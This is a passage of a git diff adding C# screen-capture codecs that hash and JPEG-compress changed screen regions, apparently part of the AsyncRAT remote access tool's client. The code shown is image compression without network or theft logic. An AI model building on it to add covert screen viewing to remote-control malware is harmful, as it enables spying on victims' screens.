protected JpgCompression jpgCompression;
|
||||||
|
public abstract ulong CachedSize { get; internal set; }
|
||||||
|
public int ImageQuality { get; set; }
|
||||||
|
|
||||||
|
public IVideoCodec(int ImageQuality = 100)
|
||||||
|
{
|
||||||
|
this.jpgCompression = new JpgCompression(ImageQuality);
|
||||||
|
this.ImageQuality = ImageQuality;
|
||||||
|
}
|
||||||
|
|
||||||
|
public abstract int BufferCount { get; }
|
||||||
|
public abstract CodecOption CodecOptions { get; }
|
||||||
|
public abstract void CodeImage(Bitmap bitmap, Stream outStream);
|
||||||
|
public abstract Bitmap DecodeData(Stream inStream);
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,324 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.UnsafeCodecs
|
||||||
|
{
|
||||||
|
public class UnsafeCacheCodec : IUnsafeCodec
|
||||||
|
{
|
||||||
|
private const int BlockCount = 5;
|
||||||
|
private const int HashBlockCount = 8192;
|
||||||
|
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get { return 0; }
|
||||||
|
internal set { }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 0; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.HasBuffers | CodecOption.RequireSameSize; }
|
||||||
|
}
|
||||||
|
|
||||||
|
private Bitmap decodedBitmap;
|
||||||
|
private int EncodedWidth;
|
||||||
|
private int EncodedHeight;
|
||||||
|
private PixelFormat EncodedFormat;
|
||||||
|
private MurmurHash2Unsafe hasher;
|
||||||
|
private SortedList<int, SortedList<int, uint>> EncodeBuffer;
|
||||||
|
private Rectangle[] Offsets;
|
||||||
|
private BlockInfo[] EncodeHashBlocks;
|
||||||
|
private BlockInfo[] DecodeHashBlocks;
|
||||||
|
|
||||||
|
public ulong EncodedFrames { get; private set; }
|
||||||
|
public ulong DecodedFrames { get; private set; }
|
||||||
|
|
||||||
|
public UnsafeCacheCodec(int ImageQuality = 80)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
this.hasher = new MurmurHash2Unsafe();
|
||||||
|
this.Offsets = new Rectangle[BlockCount];
|
||||||
|
this.EncodeHashBlocks = new BlockInfo[HashBlockCount];
|
||||||
|
this.DecodeHashBlocks = new BlockInfo[HashBlockCount];
|
||||||
|
for (int i = 0; i < HashBlockCount; i++)
|
||||||
|
{
|
||||||
|
EncodeHashBlocks[i] = new BlockInfo();
|
||||||
|
DecodeHashBlocks[i] = new BlockInfo();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||||
|
{
|
||||||
|
if (ImageSize.Width == 0 || ImageSize.Height == 0)
|
||||||
|
throw new ArgumentException("The width and height must be 1 or higher");
|
||||||
|
if (ImageSize.Width < BlockCount || ImageSize.Height < BlockCount)
|
||||||
|
throw new Exception("The Image size Width/Height must be bigger then the Block Count " + BlockCount + "x" + BlockCount);
|
||||||
|
|
||||||
|
int PixelSize = 0;
|
||||||
|
switch (Format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
PixelSize = 3;
|
||||||
|
break;
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
case PixelFormat.Format32bppPArgb:
|
||||||
|
PixelSize = 4;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new NotSupportedException(Format.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
int Stride = ImageSize.Width * PixelSize;
|
||||||
|
int RawLength = Stride * ImageSize.Height;
|
||||||
|
|
||||||
|
if (EncodedFrames == 0)
|
||||||
|
{
|
||||||
|
this.EncodedFormat = Format;
|
||||||
|
this.EncodedWidth = ImageSize.Width;
|
||||||
|
this.EncodedHeight = ImageSize.Height;
|
||||||
|
byte[] temp = null;
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||||
|
{
|
||||||
|
temp = base.jpgCompression.Compress(TmpBmp);
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
|
||||||
|
double size = (double)ImageSize.Width / (double)BlockCount;
|
||||||
|
|
||||||
|
//fix floating point here
|
||||||
|
for (int i = 0, j = 0; i < BlockCount; i++, j += (int)size)
|
||||||
|
{
|
||||||
|
Offsets[i] = new Rectangle(j, 0, (int)size, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
EncodeBuffer = new SortedList<int, SortedList<int, uint>>();
|
||||||
|
for (int y = 0; y < ImageSize.Height; y++)
|
||||||
|
{
|
||||||
|
for(int i = 0; i < Offsets.Length; i++)
|
||||||
|
{
|
||||||
|
if (!EncodeBuffer.ContainsKey(y))
|
||||||
|
EncodeBuffer.Add(y, new SortedList<int, uint>());
|
||||||
|
if (!EncodeBuffer[y].ContainsKey(Offsets[i].X))
|
||||||
|
EncodeBuffer[y].Add(Offsets[i].X, 0); //0=hash
|
||||||
|
}
|
||||||
|
}
|
||||||
|
EncodedFrames++;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
long oldPos = outStream.Position;
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
int TotalDataLength = 0;
|
||||||
|
|
||||||
|
List<HashBlock> ImageOffsets = new List<HashBlock>();
|
||||||
|
List<uint> ImageHashes = new List<uint>();
|
||||||
|
|
||||||
|
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||||
|
for (int i = 0; i < Offsets.Length; i++)
|
||||||
|
{
|
||||||
|
for (int y = 0; y < ImageSize.Height; y++)
|
||||||
|
{
|
||||||
|
Rectangle ScanRect = Offsets[i];
|
||||||
|
ScanRect.Y = y;
|
||||||
|
|
||||||
|
int offset = (y * Stride) + (ScanRect.X * PixelSize);
|
||||||
|
|
||||||
|
if (offset+Stride > Stride * ImageSize.Height)
|
||||||
|
break;
|
||||||
|
|
||||||
|
uint Hash = hasher.Hash(pScan0 + offset, (int)Stride);
|
||||||
|
uint BlockOffset = Hash % HashBlockCount;
|
||||||
|
|
||||||
|
BlockInfo blockInfo = EncodeHashBlocks[BlockOffset];
|
||||||
|
|
||||||
|
if (EncodeBuffer[y][ScanRect.X] != Hash)
|
||||||
|
{
|
||||||
|
if (!blockInfo.Hashes.ContainsKey(Hash))
|
||||||
|
{
|
||||||
|
int index = ImageOffsets.Count - 1;
|
||||||
|
if (ImageOffsets.Count > 0 && ImageOffsets[index].Location.Y + 1 == ScanRect.Y)
|
||||||
|
{
|
||||||
|
Rectangle rect = ImageOffsets[index].Location;
|
||||||
|
ImageOffsets[index].Location = new Rectangle(rect.X, rect.Y, rect.Width, rect.Height + 1);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
ImageOffsets.Add(new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1)));
|
||||||
|
}
|
||||||
|
|
||||||
|
blockInfo.Hashes.Add(Hash, new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1)));
|
||||||
|
ImageHashes.Add(Hash);
|
||||||
|
}
|
||||||
|
EncodeBuffer[y][ScanRect.X] = Hash;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ImageOffsets.Count > 0)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < Offsets.Length; i++)
|
||||||
|
{
|
||||||
|
Rectangle TargetOffset = Offsets[i];
|
||||||
|
int Height = GetOffsetHeight(ImageOffsets, TargetOffset);
|
||||||
|
Bitmap TmpBmp = new Bitmap(TargetOffset.Width, Height, Format);
|
||||||
|
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||||
|
int blockStride = PixelSize * TargetOffset.Width;
|
||||||
|
List<HashBlock> UsedOffsets = new List<HashBlock>();
|
||||||
|
|
||||||
|
for (int j = 0; j < ImageOffsets.Count; j++)
|
||||||
|
{
|
||||||
|
Rectangle rect = ImageOffsets[j].Location;
|
||||||
|
|
||||||
|
if (rect.Width != TargetOffset.Width || rect.X != TargetOffset.X)
|
||||||
|
continue; //error in 1440p, did not tested futher
|
||||||
|
|
||||||
|
for (int o = 0, offset = 0; o < rect.Height; o++)
|
||||||
|
{
|
||||||
|
int blockOffset = (Stride * (rect.Y + o)) + (PixelSize * rect.X);
|
||||||
|
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||||
|
offset += blockStride;
|
||||||
|
UsedOffsets.Add(ImageOffsets[j]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
TmpBmp.UnlockBits(TmpData);
|
||||||
|
TmpBmp.Dispose();
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes((short)UsedOffsets.Count), 0, 2);
|
||||||
|
if (UsedOffsets.Count > 0)
|
||||||
|
{
|
||||||
|
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[0].Location.X), 0, 2);
|
||||||
|
for (int j = 0; j < UsedOffsets.Count; j++)
|
||||||
|
{
|
||||||
|
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Y), 0, 2);
|
||||||
|
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Height), 0, 2);
|
||||||
|
outStream.Write(BitConverter.GetBytes(UsedOffsets[j].Hash), 0, 4);
|
||||||
|
}
|
||||||
|
byte[] CompressedImg = base.jpgCompression.Compress(TmpBmp);
|
||||||
|
outStream.Write(BitConverter.GetBytes(CompressedImg.Length), 0, 4);
|
||||||
|
outStream.Write(CompressedImg, 0, CompressedImg.Length);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//TotalDataLength += (int)length + (4 * 5);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
EncodedFrames++;
|
||||||
|
}
|
||||||
|
|
||||||
|
private int GetOffsetHeight(List<HashBlock> ImageOffsets, Rectangle rect)
|
||||||
|
{
|
||||||
|
int height = 0;
|
||||||
|
for (int i = 0; i < ImageOffsets.Count; i++)
|
||||||
|
{
|
||||||
|
if (ImageOffsets[i].Location.Width == rect.Width && ImageOffsets[i].Location.X == rect.X)
|
||||||
|
height += ImageOffsets[i].Location.Height;
|
||||||
|
}
|
||||||
|
return height;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override Bitmap DecodeData(Stream inStream)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
//return decodedBitmap;
|
||||||
|
|
||||||
|
List<Rectangle> updates = new List<Rectangle>();
|
||||||
|
Rectangle rect;
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
Bitmap tmp;
|
||||||
|
byte[] buffer = null;
|
||||||
|
MemoryStream m;
|
||||||
|
|
||||||
|
while (DataSize > 0)
|
||||||
|
{
|
||||||
|
byte[] tempData = new byte[4 * 5];
|
||||||
|
inStream.Read(tempData, 0, tempData.Length);
|
||||||
|
|
||||||
|
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||||
|
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||||
|
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||||
|
buffer = new byte[UpdateLen];
|
||||||
|
inStream.Read(buffer, 0, buffer.Length);
|
||||||
|
|
||||||
|
if (onDecodeDebugScan != null)
|
||||||
|
onDecodeDebugScan(rect);
|
||||||
|
|
||||||
|
m = new MemoryStream(buffer);
|
||||||
|
tmp = (Bitmap)Image.FromStream(m);
|
||||||
|
g.DrawImage(tmp, rect.Location);
|
||||||
|
tmp.Dispose();
|
||||||
|
|
||||||
|
m.Close();
|
||||||
|
m.Dispose();
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private class BlockInfo
|
||||||
|
{
|
||||||
|
public SortedList<uint, HashBlock> Hashes { get; private set; }
|
||||||
|
public BlockInfo()
|
||||||
|
{
|
||||||
|
Hashes = new SortedList<uint, HashBlock>();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
private class HashBlock
|
||||||
|
{
|
||||||
|
public bool Cached { get; set; }
|
||||||
|
public uint Hash { get; set; }
|
||||||
|
public Rectangle Location { get; set; }
|
||||||
|
|
||||||
|
public HashBlock(uint Hash, bool Cached, Rectangle Location)
|
||||||
|
{
|
||||||
|
this.Hash = Hash;
|
||||||
|
this.Cached = Cached;
|
||||||
|
this.Location = Location;
|
||||||
|
}
|
||||||
|
public HashBlock()
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
private class ImageOffset
|
||||||
|
{
|
||||||
|
public Rectangle Location { get; set; }
|
||||||
|
public List<uint> Hashes { get; set; }
|
||||||
|
|
||||||
|
public ImageOffset()
|
||||||
|
{
|
||||||
|
this.Hashes = new List<uint>();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,308 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.UnsafeCodecs
|
||||||
|
{
|
||||||
|
public class UnsafeCachedStreamCodec : IUnsafeCodec
|
||||||
|
{
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get;
|
||||||
|
internal set;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 0; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.HasBuffers; }
|
||||||
|
}
|
||||||
|
|
||||||
|
private PixelFormat EncodedFormat;
|
||||||
|
private int EncodedWidth;
|
||||||
|
private int EncodedHeight;
|
||||||
|
private static Size CheckBlock = new Size(50, 50);
|
||||||
|
private MurmurHash2Unsafe Hasher = new MurmurHash2Unsafe();
|
||||||
|
private List<Frame> Frames = new List<Frame>();
|
||||||
|
public const int MAX_FRAMES = 120;
|
||||||
|
|
||||||
|
private ulong[] DecodeBuffer;
|
||||||
|
private Bitmap DecodedBitmap;
|
||||||
|
private List<Bitmap> DecodedFrames = new List<Bitmap>();
|
||||||
|
|
||||||
|
public UnsafeCachedStreamCodec(int ImageQuality)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||||
|
{
|
||||||
|
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||||
|
if (!outStream.CanWrite)
|
||||||
|
throw new Exception("Must have access to Write in the Stream");
|
||||||
|
|
||||||
|
int Stride = 0;
|
||||||
|
int RawLength = 0;
|
||||||
|
int PixelSize = 0;
|
||||||
|
|
||||||
|
switch (Format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
PixelSize = 3;
|
||||||
|
break;
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
case PixelFormat.Format32bppPArgb:
|
||||||
|
PixelSize = 4;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new NotSupportedException(Format.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
Stride = ImageSize.Width * PixelSize;
|
||||||
|
RawLength = Stride * ImageSize.Height;
|
||||||
|
|
||||||
|
if (EncodedWidth == 0 && EncodedHeight == 0)
|
||||||
|
{
|
||||||
|
this.EncodedFormat = Format;
|
||||||
|
this.EncodedWidth = ImageSize.Width;
|
||||||
|
this.EncodedHeight = ImageSize.Height;
|
||||||
|
|
||||||
|
byte[] temp = null;
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||||
|
{
|
||||||
|
temp = base.jpgCompression.Compress(TmpBmp);
|
||||||
|
}
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Frame frame = new Frame(ImageSize.Width, ImageSize.Height);
|
||||||
|
|
||||||
|
int Blocks = (ScanArea.Width / CheckBlock.Width) * (ScanArea.Height / CheckBlock.Height);
|
||||||
|
int RawSizeUsed = 0;
|
||||||
|
|
||||||
|
long oldPos = outStream.Position;
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
int TotalDataLength = 0;
|
||||||
|
List<Rectangle> ChangedBlocks = new List<Rectangle>();
|
||||||
|
|
||||||
|
for(int y = ScanArea.Y; y < ScanArea.Height; )
|
||||||
|
{
|
||||||
|
int height = y + CheckBlock.Height < ScanArea.Height ? CheckBlock.Height : ScanArea.Height - y;
|
||||||
|
for (int x = ScanArea.X; x < ScanArea.Width; )
|
||||||
|
{
|
||||||
|
int width = x + CheckBlock.Width < ScanArea.Width ? CheckBlock.Width : ScanArea.Width - x;
|
||||||
|
int BlockStride = Format == PixelFormat.Format24bppRgb ? width * 3 : width * 4;
|
||||||
|
decimal FinalHash = 0;
|
||||||
|
|
||||||
|
for (int h = 0; h < height; h++)
|
||||||
|
{
|
||||||
|
int Offset = FastBitmap.CalcImageOffset(x, y+h, Format, ImageSize.Width);
|
||||||
|
FinalHash += Hasher.Hash(pScan0 + Offset, BlockStride);
|
||||||
|
}
|
||||||
|
|
||||||
|
if(onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(new Rectangle(x, y, width, height));
|
||||||
|
|
||||||
|
bool FoundBlock = false;
|
||||||
|
decimal FoundHash = 0;
|
||||||
|
int FrameIndex = 0;
|
||||||
|
for (int i = 0; i < Frames.Count; i++)
|
||||||
|
{
|
||||||
|
decimal hash = Frames[i].GetHashBlock(x, y);
|
||||||
|
if (hash == FinalHash)
|
||||||
|
{
|
||||||
|
FrameIndex = i;
|
||||||
|
FoundBlock = true;
|
||||||
|
FoundHash = hash;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
frame.AddHashBlock(x, y, FinalHash);
|
||||||
|
|
||||||
|
if (!FoundBlock)
|
||||||
|
{
|
||||||
|
int index = ChangedBlocks.Count - 1;
|
||||||
|
Rectangle cBlock = new Rectangle(x, y, width, height);
|
||||||
|
|
||||||
|
if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].X + ChangedBlocks[index].Width) == cBlock.X)
|
||||||
|
{
|
||||||
|
Rectangle rect = ChangedBlocks[index];
|
||||||
|
int newWidth = cBlock.Width + rect.Width;
|
||||||
|
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||||
|
ChangedBlocks[index] = cBlock;
|
||||||
|
}
|
||||||
|
/*else if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].Y + ChangedBlocks[index].Height) == cBlock.Y)
|
||||||
|
{
|
||||||
|
Rectangle rect = ChangedBlocks[index];
|
||||||
|
int newHeight = cBlock.Height + rect.Height;
|
||||||
|
cBlock = new Rectangle(rect.X, rect.Y, rect.Width, newHeight);
|
||||||
|
ChangedBlocks[index] = cBlock;
|
||||||
|
}*/
|
||||||
|
else
|
||||||
|
{
|
||||||
|
ChangedBlocks.Add(cBlock);
|
||||||
|
}
|
||||||
|
RawSizeUsed += BlockStride * height;
|
||||||
|
}
|
||||||
|
x += width;
|
||||||
|
}
|
||||||
|
y += height;
|
||||||
|
}
|
||||||
|
|
||||||
|
//write all the blocks
|
||||||
|
for (int i = 0; i < ChangedBlocks.Count; i++)
|
||||||
|
{
|
||||||
|
Rectangle rect = ChangedBlocks[i];
|
||||||
|
int blockStride = PixelSize * rect.Width;
|
||||||
|
|
||||||
|
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||||
|
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||||
|
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||||
|
{
|
||||||
|
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||||
|
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||||
|
offset += blockStride;
|
||||||
|
}
|
||||||
|
TmpBmp.UnlockBits(TmpData);
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
|
||||||
|
long length = outStream.Position;
|
||||||
|
long OldPos = outStream.Position;
|
||||||
|
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||||
|
length = outStream.Position - length;
|
||||||
|
|
||||||
|
outStream.Position = OldPos - 4;
|
||||||
|
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||||
|
outStream.Position += length;
|
||||||
|
|
||||||
|
TmpBmp.Dispose();
|
||||||
|
TotalDataLength += (int)length + (4 * 5);
|
||||||
|
}
|
||||||
|
outStream.Position = oldPos;
|
||||||
|
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||||
|
ChangedBlocks.Clear();
|
||||||
|
|
||||||
|
Frames.Add(frame);
|
||||||
|
if (Frames.Count > MAX_FRAMES)
|
||||||
|
Frames.RemoveAt(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
|
||||||
|
if (DecodedBitmap == null)
|
||||||
|
{
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
this.DecodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
DecodedFrames.Add(DecodedBitmap);
|
||||||
|
return DecodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
Rectangle rect;
|
||||||
|
Graphics g = Graphics.FromImage(DecodedBitmap);
|
||||||
|
Bitmap tmp;
|
||||||
|
byte[] buffer = null;
|
||||||
|
MemoryStream m;
|
||||||
|
|
||||||
|
while (DataSize > 0)
|
||||||
|
{
|
||||||
|
byte[] tempData = new byte[4 * 5];
|
||||||
|
inStream.Read(tempData, 0, tempData.Length);
|
||||||
|
|
||||||
|
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||||
|
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||||
|
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||||
|
buffer = new byte[UpdateLen];
|
||||||
|
inStream.Read(buffer, 0, buffer.Length);
|
||||||
|
|
||||||
|
if (onDecodeDebugScan != null)
|
||||||
|
onDecodeDebugScan(rect);
|
||||||
|
|
||||||
|
m = new MemoryStream(buffer);
|
||||||
|
tmp = (Bitmap)Image.FromStream(m);
|
||||||
|
g.DrawImage(tmp, rect.Location);
|
||||||
|
tmp.Dispose();
|
||||||
|
|
||||||
|
m.Close();
|
||||||
|
m.Dispose();
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
return DecodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||||
|
{
|
||||||
|
return new Bitmap(10, 10);
|
||||||
|
}
|
||||||
|
|
||||||
|
private class HashedBlock
|
||||||
|
{
|
||||||
|
public int X { get; private set; }
|
||||||
|
public int Y { get; private set; }
|
||||||
|
public int Width { get; private set; }
|
||||||
|
public int Height { get; private set; }
|
||||||
|
public int FrameIndex { get; private set; }
|
||||||
|
public HashedBlock(int x, int y, int width, int height, int FrameIndex)
|
||||||
|
{
|
||||||
|
this.X = x;
|
||||||
|
this.Y = y;
|
||||||
|
this.Width = width;
|
||||||
|
this.Height = height;
|
||||||
|
this.FrameIndex = FrameIndex;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override string ToString()
|
||||||
|
{
|
||||||
|
return "X:" + X + ", Y:" + Y + ", Width:" + Width + ", Height:" + Height + ", FrameIndex:" + FrameIndex;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private class Frame
|
||||||
|
{
|
||||||
|
public decimal[,] HashBlocks { get; private set; }
|
||||||
|
|
||||||
|
public Frame(int ImageWidth, int ImageHeight)
|
||||||
|
{
|
||||||
|
this.HashBlocks = new decimal[(ImageWidth / UnsafeCachedStreamCodec.CheckBlock.Width) + 2, (ImageHeight / UnsafeCachedStreamCodec.CheckBlock.Height) + 2];
|
||||||
|
}
|
||||||
|
|
||||||
|
public void AddHashBlock(int x, int y, decimal Hash)
|
||||||
|
{
|
||||||
|
x = x / UnsafeCachedStreamCodec.CheckBlock.Width;
|
||||||
|
y = y / UnsafeCachedStreamCodec.CheckBlock.Height;
|
||||||
|
this.HashBlocks[x, y] = Hash;
|
||||||
|
}
|
||||||
|
public decimal GetHashBlock(int x, int y)
|
||||||
|
{
|
||||||
|
x = x / UnsafeCachedStreamCodec.CheckBlock.Width;
|
||||||
|
y = y / UnsafeCachedStreamCodec.CheckBlock.Height;
|
||||||
|
return this.HashBlocks[x, y];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
365
AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs
Normal file
365
AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs
Normal file
@ -0,0 +1,365 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.UnsafeCodecs
|
||||||
|
{
|
||||||
|
public class UnsafeMiniCodec : IUnsafeCodec
|
||||||
|
{
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get;
|
||||||
|
internal set;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 1; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||||
|
}
|
||||||
|
|
||||||
|
private PixelFormat EncodedFormat;
|
||||||
|
private int EncodedWidth;
|
||||||
|
private int EncodedHeight;
|
||||||
|
private byte[] EncodeBuffer;
|
||||||
|
private Bitmap decodedBitmap;
|
||||||
|
|
||||||
|
private Size CheckBlock { get { return new Size(50, 50); } }
|
||||||
|
|
||||||
|
public UnsafeMiniCodec(int ImageQuality = 100)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||||
|
{
|
||||||
|
lock (this.ImageProcessLock)
|
||||||
|
{
